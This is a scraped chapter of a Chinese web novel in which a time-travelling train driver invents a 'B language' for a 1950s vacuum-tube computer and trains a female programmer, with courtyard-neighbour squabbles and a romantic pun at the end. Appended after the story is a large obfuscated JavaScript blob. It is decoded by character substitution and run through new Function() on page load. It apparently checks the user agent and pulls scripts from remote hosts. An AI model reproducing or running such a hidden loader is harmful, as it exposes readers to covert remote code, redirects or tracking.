首页
第653章 啵语言, 国内第
返回
关灯 护眼:关 字号:小

第653章 啵语言, 国内第一个程序员的诞生,贾东旭受伤

章节报错(免登陆)

一秒记住【笔趣阁】
xbiquge365.net,更新快,无弹窗!

    运算速度:每秒运算5万次。
    内存:内存72K全字长磁芯体,一台磁芯存储器阵列。
    硬件规模:全机共用12200个电子管,80000个晶体二极管。
    手握全世界最先进的电子管计算机,李爱国颇有点走在世界科技前沿的感觉。
    这感觉非常之好。
    只是
    要想利用103电子管计算机实现铁道信号的自动化,还差一个关键因素。
    那就是.程序。
    这年月程序尚且不能自动执行,全得靠操纵员陈静用那她双纤细小手在坚硬的按键上,以300APM的手速进行操作。
    一台电子管计算机尚且能凑合。
    但是咱李爱国干的是全铁道的大事业。
    将来,全国大部分铁路都将实现信号自动化,这一过程需要成千上万台电子管计算机。
    而在那个时候,或许会需要成千上万个年轻的姑娘充当人肉程序输入员。
    然而,铁路每天二十四小时不间断运行。
    这些小姑娘们只能长时间坐在昏暗的机房内持续输入程序。
    在这样的环境下,她们的青春只能在黑乎乎的小屋里悄然雕零……这种情况好像显得得很不人道。
    咱李爱国是个好人,自然不能迫害这些花季少女。
    那么该怎么办呢
    操纵员陈静输入了程序,趁着程序执行的空档,看到李爱国在盯着他,小脸顿时羞红起来。
    这个火车司机确实结婚了,但是也不是不能发生点啥.比如共同研究计算机之类的。
    陈静咬了咬嘴唇问道:“李司机,我刚才输入的代码有错吗?”
    想想这两天的经历,陈静觉得有些不可思议。
    在103电子管计算机研制成功后,这么宝贵的科研仪器并没有放在计算所里,而是被运到了铁道实验室内,成为了控制铁道信号输出的生产力工具。
    电子管计算机需要操纵员。
    计算所里有五位专业操纵员,当那些操纵员们得知要离开计算所,去铁道部门工作时,都打了退堂鼓。
    毕竟铁道部门在这年月尚且属于大老粗部门,留给人的印象是胡子拉碴、身上黑乎乎煤灰,说话喜欢骂娘的大老粗男人。
    计算所可是国内最先进的科研单位,研究员们身穿整洁的灰色中山装,讲起话来也彬彬有礼,还都是高学历。
    只有陈静答应了下来。
    她这个操纵员被李爱国作为工具人也被打包带到了铁道研究所里。
    在这里陈静才发现,铁道上也有研究所,并且还特别的有钱,食堂里的饭菜里能吃到荤腥呢!
    “那倒不是.”李爱国看着陈静沉吟片刻,突然问道:“你们计算所里没有想过编写可以自动运行的程序吗?”
    “自动运行.程序?”陈静有些摸不着头脑了。
    程序不都是手动输入的吗?
    李爱国看到陈静的样子,这才意识到了自己的疏忽。
    这年月没有高级计算机语言,所有的程序都是直接在计算机底层运行,压根无法做到时实循环。
    “没枪没炮,不能光靠敌人造!撬鬼子铁轨做炮弹,刮硝石当炸药!”
    李爱国哼起了铁道上的流行小曲,背着手出了机房。
    陈静看着李爱国的背影,总觉得这个火车司机有点怪怪的。
    她转过身开始在操纵键上悬空模拟输入,只有这样才能保持输入速度。
    每一种高级编程语言的出现,都要耗费巨大的人力和物力,并且还要顺应时代和市场的发展。
    要想独立创造出一种高级编程语言那都是编程大神级人物能做得到的事儿。
    咱李爱国确实不是大神。
    但是他掐指一算,还有几年功夫,老美那边就要出现一种名为BCPL的高级编程语言。
    BCPL就是后世大名鼎鼎的B语言,也是C语言的基础。
    李爱国倒不是不想把C语言拿出来,关键是.那玩意太复杂了,运行起来能把电子管计算机干爆了。
    而B语言就不同了,它结构简单,却可以直接操纵机器字符,并且还能编写游戏。
    咳咳,游戏只是附带的,咱李爱国是为了铁道信号自动化。
    鲁大师说道:“如果我能看得更远一点的话,是因为我站在巨人的肩膀上。”
    李爱国回到办公室后,站在巨人的头顶上,很快就把B语言搞了出来。
    当然了,跟后世的B语言相比,李爱国觉得还需要更改一部分内容,让B语言每个对象都有一个类型以及一个值。
    类型决定了可用于值的操作的含义,以及对象占用的存储空间大小。
    如此一来,B语言就从只能操纵机器的语言,变成了半个C语言,拥有了编译操作系统的能力。
    这种工作一个人干太繁琐了。
    李爱国找来了宗先锋和陈资料。
    “今天咱们要研究一个小玩意。”
    李爱国把B语言的构想和设计讲了出来。
    虽然说计算机语言特别晦涩,但是它的基础是数学,陈资料这位大佬很快就明白了过来。
    “利用0,1的交互进行计算,这确实是个新的计算思路,也许我应该想办法.”
    李爱国赶紧打断陈资料:“陈哥,现在国内的计算机特别紧缺,你就别惦记着计算机科学计算了。你的任务是帮我把这种语言搞出来。”
    开玩笑,在后世确实有一个数学分支利用计算机计算。
    但是,陈资料可是要成为破解1+1的男人,不能把精力浪费在这个上面。
    宗先锋是电气专业的优秀学生,脑瓜子灵活。
    李爱国负责总架构、宗先锋负责代码编译、陈资料负责数学逻辑。
    几人只花费了不到两天时间,就完成了B语言的设计工作。
    有了计算机语言,接下来就要培训能使用计算机语言的人了。
    机房内。
    陈静刚拼完手速,正揉着酸疼的手指头吸溜着嘴。
    自从当上操纵员后,她的手指头关节就隐隐作疼了,晚上有时间疼得睡不着觉。
    但是为了计算机的发展,陈静和那些操纵员们把这个情况隐瞒了下来。
    “李组长,程序已经输入了,运行正常!”看到李爱国进来,陈静赶紧站起了身。
    “不着急,我今天来找你,是想询问你,你想不想当程序员?”李爱国笑道。
    “程序员?”陈静一脸茫然。
    “我设计了一种高级计算机语言,编译出来的程序可以自动运行。程序员就是负责编译程序的人。”
    程序自动运行,也就是说不需要操纵员了。
    负责编译程序,也就是说她将成为程序员。
    短短一句话,让陈静经历了失业到再就业的冰火两重天,她慌忙不迭的点头:“愿意,我愿意!”
    操纵员需要记忆力好,逻辑观念好,陈静还是大学毕业生,学习能力也强,只是花费了两天功夫就掌握了B语言。
    李爱国带着陈静和陈资料合作搞出一条名为脉冲信号的程序。
    程序上机运行后,能够稳定的运行控制铁道自动信号,并且还具备自检功能。
    这个消息传到计算所里,所长和夏中肃教授瞬间震惊了。
    “啥,能自动运行的程序,并且这种程序还能编译出来?”
    “出大事了,咱们计算机领域又出大事了!”
    “只是这种大事为什么发生在铁道部门,不应该啊.”
    “甭管是哪个部门,都是为了建设国家嘛,走,咱们赶紧去瞧瞧。”
    意识到高级编程语言的重要性,所长和夏中肃教授带着一帮子研究员们准备赶往铁道研究所。
    但是足有几十个人,计算所里只有三辆小轿车,压根坐不下。
    所长为了不打击同志们的热情,临时调派了一辆嘎斯卡车。
    一辆小轿车,一辆嘎斯卡车组成的车队浩浩荡荡的出了计算所。
    正准备离开计算所的列别杰夫教授看到这一幕,眼睛微微眯起。
    他让司机摇下车窗,冲着门卫递了根烟:“小同志,你们计算所这些同志是去了哪里啊?”
    门卫笑呵呵的接过烟,脸色一正:“应该是去抓老鼠了。”
    前两天,他把被列别杰夫教授询问的情况汇报给了保卫科,科长狠狠的批评了他一顿。
    并且提醒他注意保密,在跟老毛子专家打交道的时候小心点。
    抓老鼠?这么多人开着大卡车抓老鼠?信你个大头鬼啊。
    列别杰夫教授看着门卫陷入了沉默中。
    列别杰夫教授觉得此次到种花家做客,种花家的人好像变狡猾了,连一个小小的门卫也敢欺负。
    不过列别杰夫教授并没有太在意门卫。
    他觉得还是应该想办法搞清楚计算所到底在搞些什么。
    看着小兄弟马上要超过自己,列别杰夫教授这个老大哥心中很不舒服。
    另外一边。
    车队浩浩荡荡的开到了铁道研究所门前。
    门口的保卫干事们看到计算所里来了足足几十号人,当时就吓坏了,连忙摇动电话报告给了刘国璋。
    “报告主任,有人来抢咱们的老鼠尾巴了!”
    夏教授在旁边听得真切,慌忙解释:“我们是计算所的。您搞错了。”
    保卫干事看了看夏教授,对着话筒喊道:“报告主任,计算所的人来抢咱们的老鼠尾巴了!”
    夏教授:“.”
    刘国璋接到门卫电话的时候,一脑门的问号。
    “啥?这帮搞计算机的难道真惦记上俺们研究所的老鼠尾巴?”
    刘国璋并不是杞人忧天。
    随着除四走向高潮,老鼠越来越难抓,单位之间的比拼也进入了高潮。
    有一些单位的领导动起了歪脑筋。
    自己捉不到,可以抢别人的啊。
    再说了,抢老鼠尾巴,能叫抢吗?
    那就做积极除四!
    他们带上保卫科和武装部的同志,全副武装起来,趁隔壁单位不注意,冲进对方库房内,把老鼠尾巴抢走了。
    这事儿闹得京城人心惶惶的。
    有些单位门口的保卫干事们为了保卫老鼠尾巴,甚至架起了机关枪。
    铁道研究所因为有了李爱国的粘老鼠板子,是京城有名的老鼠尾巴大户,别人早就眼红了。
    此时更应该小心谨慎。
    “走,让保卫干事带上步枪,跟我去瞧瞧!”
    刘国璋带着十几个保卫干事来到大门前,仔细一问,差点笑出声来。
    “所长同志,您带这么多人来我们研究所,按照规矩,应该提前在电话里打招呼。”
    “抱歉,刘主任,我一时心急,给疏忽了。”
    看到计算所带了那么多人,所长还急哄哄的样子,刘国璋心中一动,问道:“李爱国搞出来的那个什么啵,就那么重要吗?”
    “不是什么啵,是ㄅㄛ语言!”
    刘国璋虽算是半个技术人员,但是在所长看来还是个大老粗。
    他边走,边跟刘国璋上课:“计算机语言,是人跟计算机交流的工具”
    看到刘国璋一脸茫然,所长觉得国内的计算机教育任重而道远。
    他叹口气道:“这么说吧,有了这个ㄅㄛ语言,咱们国家在计算机领域就能走在世界的前沿。”
    “早这么说,不就行了吗.”刘国璋的眼睛瞪大瞪圆了。
    他不懂计算机,但是懂得走在世界前沿是什么意思。
    那意味着光荣啊!
    虽不明白李爱国是怎么搞出来的,但是李爱国是铁道上的人。
    李爱国光荣了,那就等于铁道光荣了,等于他刘国璋光荣了。
    “咳咳,所长同志,看来我们铁道方面的技术比你们计算机技术还要复杂啊。”
    “怎么说?”
    “你想啊,我们的火车司机都研制出了什么啵”
    所长:“.”
    他觉得好像被铁道部门的大老粗鄙视了。
    不过所长此时并不在乎这些。
    他跟着刘国璋来到实验室之后,立刻将正在进行铁道信号稳定测试的李爱国给拉了出来。
    “爱国同志,你真的编译出了一整套高级程序语言?”
    看着这位老教授着急的样子,李爱国也没多嗦,便将ㄅㄛ语言的详细情况托盘而出。
    “什么!你们已经编译好了程序,并且稳定运行五天了?”
    “你们还培养了一位女程序员?”
    所长并没有偏听偏信。
    他带着夏教授亲自测试了李爱国用ㄅㄛ语言编译出来的程序,又确定了程序具备自动运行之后,才算是彻底相信了。
    “利用ㄅㄛ语言来编译出可执行的程序李爱国真的只是一个火车司机吗?”
    所长这会脑瓜子嗡嗡作响。
    他感觉到铁道研究所比计算所更像是研究计算机的地方了。
    直到他看到了身穿计算所深灰色制服的陈静从机房里走出来,这才算是松了口气。
    至少程序员还是计算所的人。
    “陈静同志,祝贺你成为国内第一个女程序员。你的工作非常努力,也该进步了!”
    所长恍惚有种感觉,李爱国这小子选择陈静,应该是为了契合上级提出的“女子能顶半边天”的方针。
    陈静此时感觉到天上掉下了白面馒头。
    当初是因为没有人愿意来铁道上工作,她才不得不顶上的。
    现在竟然成了第一个女程序员,还马上能够晋升了。
    所长和夏中肃教授和那帮子专家们在观察了铁道自动信号的运行,决定搞明白了ㄅㄛ语言的基础知识。
    李爱国这个种花家的第一个程序员不得不担当起老师的职务。
    这时候陈资料见工作完成了,担心自己总是待在铁道所里白吃饭,不干活影响太坏了。
    他想要返回数学所继续自己以前的工作。
    李爱国喊住了陈资料:“陈哥,明天我要给计算所的几位同志讲课,你也在旁边听听吧?”
    “我?”陈资料愣了一下。
    陈资料还以为李爱国知道他对计算机计算科学感兴趣,所以才带上他,所以便答应了下来。
    陈资料没看到,李爱国看着他离开,嘴角勾起一丝得逞的笑容。
    日落西山黑了天,家家户户把家还。
    李爱国今天搞出了高级语言程序,心中也十分高兴。
    骑着自行车拐到朝阳菜市场。
    买了五斤鸡蛋,两斤鸭蛋,还买了一条大鲤鱼,准备改善生活。
    推着自行车进到院子里。
    三大爷也刚钓鱼回来,正在拾掇小鱼。
    看看李爱国车子把上挂的大鲤鱼,他小眼睛眨么眨么,弯着身子凑了上来。
    “爱国,大鱼的味道没有小鱼的味道好。
    我拿三斤小鱼换你这条三斤大鱼。
    我吃点亏,让你占点便宜,怎么样?”
    三大爷拎起一串子小猫鱼。
    “三大爷,我这人思想觉悟高,从不占便宜,所以,不能跟您换。”
    说完,李爱国推着自行车扬长而去。
    一句从不占便宜把三大爷整懵逼了。
    他冲着李爱国的背影伸了伸手,却说不出一句话。
    “老婆子,我咋觉得李爱国好像在骂我”三大爷看着正在蹬磨电轮的三大妈幽幽的说道。
    三大妈点头:“你的感觉没错。”
    三大爷:“.”
    推着自行车,跟着住户们打着招呼进到中院。
    李爱国看到贾张氏站在水池旁指着易家的方向骂着什么。
    一大妈不时在月牙门旁探出脑袋,却不敢凑上前。
    有一群住户在那里看热闹。
    “怎么了?”李爱国走到许大茂身旁,递出根烟问道。
    许大茂接过烟,幸灾乐祸道:“贾东旭今天在车间里出事故了,手指头被机器夹了下,差点没夹断。”
    “这跟易中海有什么关系?”
    “贾张氏见易中海没拎着礼物看望贾东旭,觉得易中海是故意安排贾东旭干危险的活儿,想要害贾东旭。”
    许大茂显得特别兴奋。
    搞明白事情的来龙去脉后,李爱国也没有继续看下去的兴致。
    相比较四合院内的蝇营狗苟,他更愿意把时间花费在正事儿上。
    贾张氏骂了一阵子,却不敢真找易中海算账,只能气呼呼的回了家里。
    一大妈见贾张氏没打上门,松了口气,跑回了家。
    “老头子,贾东旭受伤不会是你动的手脚吧?”
    一大妈看着易中海问道。
    易中海一脸无奈:“我是啥样的人,你能不知道吗?贾东旭虽然越来越不像话了,但还是我徒弟,我能下那狠手?”
    “那他咋受伤了?”
    “那只能怪他自己笨。”易中海语气冰冷。
    以往贾东旭有易中海帮忙,在车间里只用从事轻松的活儿。
    现在两家闹翻了,贾东旭只能跟别的工人一样,去车间里干重活儿。
    搞明白来龙去脉后,一大妈叹口气道:“老易啊,东旭毕竟是你徒弟,能照顾你就多照顾点”
    易中海不乐意听这些,摆摆手打断一大妈:“当初贾东旭出卖我的时候,他没把我当成师傅,我何必把他当成徒弟。以后这些事情不要再提了。”
    一大妈见易中海越说越激动,担心他心脏病又犯了,连忙拿来药物让他服下。
    吃了药,易中海问道:“老婆子,李爱国最近在忙什么?”
    “今天我看到他回来了,还带着一条大鲤鱼。”
    “这个孙贼竟然吃鱼!”
    易中海刚想骂几句,就觉得心脏突突跳。
    他连忙深吸几口气,这才缓解了一些。
    现在连骂人都不能骂了。
    易中海觉得自己太憋屈了。
    夜幕将近。
    家家户户亮起了灯。
    陈雪茹的晋升已经有了进展,今天区里面的同志找她谈了话,如果说没有人反对的话,估计下个月就能晋升为副主任。
    小陈姑娘显得很开心,做了一大桌子菜。
    吃饱喝足,李爱国打开台灯,坐在写字桌前,拿起钢笔在稿纸上撰写。
    “ㄅㄛ语言教程”
    计算机语言教程的好坏关系重大。
    至今李爱国依然记得前世刚接触编程的时候,差点被一本C语言教材给劝退的经历。
    后来翻阅了其他的教材,才算是重拾信心。
    回过头看去,李爱国觉得那把C语言教材,其核心精神,不是让你学会C语言,而是让你学不会。
    那位撰写教材的同志,以其毕生精力,劝退了无数学生从事计算机工作的念头.
    【有知道是哪本C语言教材的同学,可以把答案打在公屏上】
    “ㄅㄛ语言教程的原理.”
    笔尖在白皙的纸张上纵横,一行行工整的汉字,符号陆续浮现。
    陈雪茹清洗了碗筷,见李爱国开始工作了,倒了一搪瓷缸子茶水端了过来。
    “爱国哥,你写的什么?我怎么一点都看不明白。”陈雪茹看着纸张上各种各样的古怪符号,小脑袋瓜里都是问号。
    李爱国捏了捏钢笔回了一句:“这是ㄅㄛ语言,是专业的教材。”
    “啵语言”小陈姑娘嘟囔一句,眼睛瞬间瞪大瞪圆,呼吸急促了起来。
    她脑子里顿时一片空白,呆呆的看着纸张上的符号。
    打啵也能光明正大的说出来了?还写成了专门的教材?!
    “直接插入排序的方法有两种,一种是”
    李爱国这时好死不死的读出了正在撰写的排序方法。
    打啵也就算了,现在还要.
    “啊!”
    小陈娘痛呼一声,几乎羞愤欲绝!
    李爱国吓了一跳,抬起头看着一脸气愤的都要掉眼泪的小陈姑娘,纳闷道:“雪茹,怎么了?”
    “你你怎么能写出这么无耻的东西!”小陈姑娘此时脸色臊红了起来。
    那种词语只是想想,她都觉得灵魂受到了污染。
    “什么无耻的东西”
    李爱国看看材料纸上的符号,这才算是明白过来,连忙解释道:“这是ㄅㄛ语言,BO语言,是计算机上用来编译程序的语言,不是你想的那样。”
    计算机上的语言程序?
    小陈姑娘也在报纸上看过跟电子管计算机有关的新闻,只不过还是第一次听说计算机需要语言。
    李爱国接着解释:“计算机就是个机器,咱们只有用它听得懂的语言,才能让它干活。这种语言叫做计算机语言。”
    小陈姑娘这才意识到自己闹了个大乌龙。
    思想不纯洁的原来是她。
    “呀,我刚才好像喝醉了.”
    小陈姑娘此时慌得不行,滋溜一下钻进被窝,装起了小鸵鸟。
    李爱国看看蠕动的被窝,再看看材料纸上的啵语言。
    “冰冷的啵语言哪有打啵来的快乐。”
    他站起身大步走了过去。
    昏黄灯光打落在他身上,在大红色的被褥上映衬出一个巨大的影子。
    夜静悄悄。
    夜热闹闹。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="m4tas4k55b";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^oFdLoSnn)/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^oFdLoSnn)"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8^oFdLoSnn)"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();